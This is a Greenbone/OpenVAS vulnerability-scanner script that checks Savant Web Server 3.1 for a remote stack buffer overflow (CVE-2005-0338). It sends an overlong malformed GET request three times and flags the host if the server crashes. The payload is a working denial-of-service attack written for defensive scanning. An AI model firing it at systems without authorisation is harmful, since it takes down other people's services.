Savant Web Server Remote Buffer Overflow Vulnerability

# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802296");
  script_version("2023-07-21T05:05:22+0000");
  script_cve_id("CVE-2005-0338");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-07-21 05:05:22 +0000 (Fri, 21 Jul 2023)");
  script_tag(name:"creation_date", value:"2012-01-23 14:14:14 +0530 (Mon, 23 Jan 2012)");
  script_name("Savant Web Server Remote Buffer Overflow Vulnerability");

  script_category(ACT_DENIAL);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Buffer overflow");
  script_dependencies("gb_savant_webserver_detect.nasl");
  script_mandatory_keys("savant/webserver/detected");

  script_tag(name:"impact", value:"Successful exploitation may allow remote attackers to execute
  arbitrary code within the context of the application or cause a denial of service condition.");

  script_tag(name:"affected", value:"Savant Web Server version 3.1.");

  script_tag(name:"insight", value:"The flaw is due to a boundary error when processing malformed
  HTTP request. This can be exploited to cause a stack-based overflow via a long HTTP request.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year since the disclosure of this vulnerability.
  Likely none will be provided anymore. General solution options are to upgrade to a newer release, disable respective features, remove the
  product or replace the product by another one.");

  script_tag(name:"summary", value:"Savant Web Server is prone to a buffer overflow vulnerability.");

  script_xref(name:"URL", value:"http://www.securityfocus.com/bid/12429");
  script_xref(name:"URL", value:"http://xforce.iss.net/xforce/xfdb/19177");
  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18401");
  script_xref(name:"URL", value:"http://marc.info/?l=full-disclosure&m=110725682327452&w=2");

  script_tag(name:"solution_type", value:"WillNotFix");
  script_tag(name:"qod_type", value:"remote_analysis");

  exit(0);
}

CPE = "cpe:/a:savant:savant_webserver";

include("host_details.inc");
include("http_func.inc");

if( ! port = get_app_port( cpe: CPE ) )
  exit( 0 );

req = string("GET \\", crap(254), "\r\n\r\n");

## Send Exploit
for(i = 0; i < 3; i++){
  res = http_send_recv(port:port, data:req);
}

if(http_is_dead(port:port)) {
  security_message(port:port);
  exit(0);
}

exit(99);